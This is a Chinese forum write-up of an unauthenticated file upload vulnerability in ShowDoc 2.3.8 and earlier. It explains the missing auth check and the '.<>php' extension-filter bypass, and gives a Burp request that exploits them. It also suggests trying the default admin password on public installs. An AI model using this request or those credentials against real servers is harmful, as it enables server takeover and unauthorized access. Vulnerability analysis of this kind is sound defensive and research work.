发现 ShowDoc 未授权文件上传漏洞


0x1 漏洞背景

ShowDoc是一款适用于IT团队的开源在线API文档和技术文档工具。在渗透测试中,获得ShowDoc或类似权限可以访问整个团队的文档,为攻击者提供了一个有价值的突破点。

图片[1]-发现 ShowDoc 未授权文件上传漏洞-山海云端论坛

0x2 漏洞分析

在ShowDoc版本2.3.8及之前,存在一个任意文件上传漏洞。攻击者可以通过构造特殊数据包上传恶意文件并控制服务器。

该漏洞位于home模块的page类的uploadImg方法中。漏洞复现的关键点如下:

  1. 由于ShowDoc基于thinkphp开发,攻击者可以通过调用s=/home/page/uploadImg来访问该方法。然而,在该方法中未对用户身份进行适当检查,导致未经授权的上传。
  2. 文件后缀名的过滤方法通过$_FILES['editormd-image-file']['name']获取文件名,再匹配是否包含.php,这样的限制可以通过修改文件名为xxx.<>php的方式绕过。
  3. 尽管在150行有上传文件的限制,但调用$upload->allowExts而不是$upload->Exts,导致文件后缀限制无效。
图片[2]-发现 ShowDoc 未授权文件上传漏洞-山海云端论坛

0x3 漏洞复现

  1. 下载存在漏洞的ShowDoc版本并在搭建环境中安装(无需配置任何文件),默认管理员用户为showdoc/123456。某些公网上的ShowDoc可能未更改默认管理员密码,可尝试使用此账号密码。
  2. 使用Burp Suite构造请求包,响应包中将返回文件写入路径。
<code>POST /index.php?s=/home/page/uploadImg HTTP/1.1 Host: 127.0.0.1 Content-Length: 218 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1w4V4ZSJraTyFar1 Origin: http://127.0.0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1/web/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: think_language=zh-CN; PHPSESSID=abdrqr6jo21r8l2ffoqnqj1ab4 Connection: close ------WebKitFormBoundary1w4V4ZSJraTyFar1 Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"</code>
图片[3]-发现 ShowDoc 未授权文件上传漏洞-山海云端论坛
© 版权声明
THE END
喜欢就支持一下吧
点赞14 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容